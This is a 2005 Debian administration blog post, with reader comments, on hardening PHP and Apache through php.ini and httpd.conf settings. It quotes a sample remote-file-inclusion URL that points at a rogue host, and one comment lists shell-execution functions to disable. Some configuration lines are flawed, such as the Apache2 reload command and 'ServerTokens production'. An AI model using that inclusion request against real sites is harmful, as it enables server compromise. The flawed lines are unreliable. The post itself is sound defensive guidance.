Tightening PHP Security

Posted by Steve on Fri 13 May 2005 at 13:36

Tags: ,

There are a lot of Debian systems running PHP code, and in their default state the Debian PHP packages don't tighten up security as much as they could. There are a lot of badly coded scripts out there which can be abused by malicious users. (PHP is in no means alone in that regard!)

Perhaps because it is easy to begin programming in PHP a lot of beginners use it, and because they are beginners to programming they don't take security into account as much as they should.

Again this isn't a problem that's specific to PHP, but as this is an environment which can be customised and restricted by the paranoid it's a good idea to cover some of the basics. (Especially if you're trusting users to install scripts upon your system).

There are several easy things you can do to tighten up the environment which PHP runs in, and here we'll cover the basics.

Adjusting Your Webserver

If you're running PHP then chances are you're using Apache, or Apache2 as your webserver. If this is the case you can make some minor tweaks to its setup to help protect your machine.

Two such things we've already covered on this site are:

In addition to that you can hide the version of the server you're using, and avoid advertising the version of any modules loaded in your servers response.

If you alter your httpd.conf file to include the following two lines the presence, and version, of the PHP module will be hidden - as will the version of Apache you're using:

ServerSignature Off
ServerTokens production
Adjusting PHP Setup

If you wish to make global changes to the way that PHP is configured upon your system, then you will need to edit the file php.ini. This will typically be found in either the directory /etc/php4/apache, or /etc/php4/apache2.

The php.ini file allows you to configure the PHP environment, including changing the extensions loaded and the behaviour of the language.

After making changes to this file you'll need to restart your webserver if you're using mod_php, rather than running PHP scripts as a CGI. You'd do that by running one of the following commands:

Apache
/etc/init.d/apache reload

Apache2
/etc/init.d/apache reload
Logging

PHP can be configured to handle errors in various ways. The most common way it is left is to log errors to the browser of the client who manages to trigger the error.

If your installation is setup like this you can inadvertently reveal errors that are sensitive - for example the location of files on your filesystem.

A better approach is to only log errors to a file upon the server. If a developer is having problems with their scripts they can presumably access them there.

Alternatively you can use syslog reporting - which can allow you to report errors to a remote machine via syslog-ng.

If you wish to alter this behaviour you should modify your php.ini file to have the following settings:

display_errors = Off
log_errors     = On
error_log      = syslog
ignore_repeated_errors = On
Disallow Dangerous Functions

Like perl, or C, PHP has a "system" function which allows scripts to execute commands.

If you're happy you don't need this ability in the scripts you're using then you can disable this function, in case it's abused by a remote attacker.

To disable functions you merely add their name to the disable_functions option. For example:

disable_functions = dl, phpinfo, system, mail ...
Limit Resources

To avoid your PHP installation from consuming too many resources you can place limits on their usage.

The following settings are all useful ways of adjusting the resources your PHP scripts can consume:

; Maximum execution time of each script, in seconds
max_execution_time = 30

; Maximum amount of time each script may spend parsing request data
max_input_time = 60

; Maximum amount of memory a script may consume (8MB)
memory_limit = 8M

; Maximum size of POST data that PHP will accept.
post_max_size = 8M



; Whether to allow HTTP file uploads.
file_uploads = Off

; Maximum allowed size for uploaded files.
upload_max_filesize = 2M

Avoid Opening Remote Files

One of the useful abilities of PHP is the ability to open files remotely without any complex processing.

Many simple scripts use this ability, for example a comic viewer might open up images from a remote server just using the fopen function - which is ordinarily used to open files.

It is an ability has often been abused in insecure scripts though.

If you have a script which tries to open a file and the filename is controllable by a remote user two things can happen:

  • Any file on the local system which the webserver can read can be viewed by the remote attacker.
  • Arbitary commands can be executed upon your server if the user can cause a remote PHP file to be opened.

To disable this attack you can set the following in your php.ini file:

; Whether to allow the treatment of URLs (like http:// or ftp://) as files.
; 
; This is turned off to avoid variable redefinition by remote attacker
; that attempts to have the server download (and execute) a remote file
; from a compromised host. This behaviour has been observed in automatic
; scanning against badly written applications:
; http://myhost/myapplication.php?include=http://roguesever/rogueapp.php
allow_url_fopen = Off

More examples of tightening up PHP security can be found on the PHP website.

If you're running Debian Sarge, or Debian's unstable distribution you can find a commented php.ini-paranoid file included in the directory /usr/share/doc/php4-common/examples.

 

 


Posted by gwolf (132.248.xx.xx) on Fri 13 May 2005 at 17:25
Now that you mention ServerSignature, I feel even more important than that to declare ServerTokens prod - Compare the header on an Apache with the default configuration:
Server: Apache/2.0.54 (Debian GNU/Linux) PHP/4.3.10-15 mod_perl/1.999.23 Perl/v5.8.4
to what my server gives:
Server: Apache
Greetings,

[ Parent | Reply to this comment ]

Posted by Steve (82.41.xx.xx) on Fri 13 May 2005 at 17:54
[ View Steve's Scratchpad | View Weblogs ]

Indeed, I did mention them both.

The other approach, which is more PHP-specific is to use the following in the php.ini file:

; Decides whether PHP may expose the fact that it 
; is installed on the server
; (e.g. by adding its signature to the Web server header).  
; It is no security threat in any way, but it makes it
; possible to determine whether you use PHP on your
; server or not.
expose_php = Off

That only hides the PHP version - any other modules will still be allowed to identify themselves.

Steve
-- Steve.org.uk

[ Parent | Reply to this comment ]

Posted by Anonymous (63.20.xx.xx) on Sun 6 Jul 2008 at 19:52
Doing this also disables the X-Powered-By: PHP-Version header from being sent, regardless of running PHP as a SAPI or a CGI.

[ Parent | Reply to this comment ]

Posted by nodata (213.164.xx.xx) on Wed 18 May 2005 at 08:13
This is a surprisingly light article, which is a big shame.

It looks like the section on "disable_functions" has been skimmed over to avoid telling people which functions you've disabled on your server. I personally use
system,exec,passthru,popen,escapeshellcmd,shell_exec

Also, safe_mode has been ignored, and so has safe_mode_exec_dir and safe_mode_protected_env_vars.
There is no mention of php's base_open directive.

For a more security, you can set safe_mode_exec_dir and open_basedir on a per-vhost basis, but that's missed too.

What about hosts that also use Perl? How do you get file permissions right with them?

[ Parent | Reply to this comment ]

Posted by Steve (82.41.xx.xx) on Wed 18 May 2005 at 08:20
[ View Steve's Scratchpad | View Weblogs ]

The disable_functions setting I took from the php.ini-paranoid, so it's identical - not to hide what I'm using here, just because I assume interested people will look at that themselves.

The other omissions were unfortunate but harder to explain - certainly there are enough misunderstandings regarding safe_mode that I don't really wish to add to them.

Perhaps I could write more usefully in the future - or somebody else could.

Steve
-- Steve.org.uk

[ Parent | Reply to this comment ]

Posted by Anonymous (82.157.xx.xx) on Thu 26 May 2005 at 19:49
More information: securing-httpd.pdf

[ Parent | Reply to this comment ]

Posted by Anonymous (66.143.xx.xx) on Thu 26 May 2005 at 20:43
On my Apache 1.33 Server the

ServerTokens production DOES NOT work

it DOES accept either of the following:

1) ProductOnly
2) prod

[ Parent | Reply to this comment ]

Posted by ec (68.233.xx.xx) on Thu 2 Jun 2005 at 07:39
I'm currently using apache2 the options ServerSignature Off and ServerTokens production didnt work for me in /etc/apache2/httpd.conf or /etc/apache2/apache2.conf BUT did work when i entered them in /etc/apache2/sites-available/default. I know feel that much safer, thanks! - ec

[ Parent | Reply to this comment ]

Posted by Anonymous (87.196.xx.xx) on Sun 10 Sep 2006 at 19:53
actually to both work they have to be placed in /etc/apache2/apache2.conf and no other config files

[ Parent | Reply to this comment ]

Posted by Anonymous (203.193.xx.xx) on Thu 15 Sep 2005 at 10:57
Nice one and easy to follow and configure

[ Parent | Reply to this comment ]

Posted by Anonymous (203.131.xx.xx) on Fri 23 Jun 2006 at 03:03
I also find it very useful in securing my server.

thanks!

[ Parent | Reply to this comment ]

Sign In

Username:

Password:

[Register|Advanced]

 

Flattr

 

Current Poll

What do you use for configuration management?








( 494 votes ~ 5 comments )

 

 

Related Links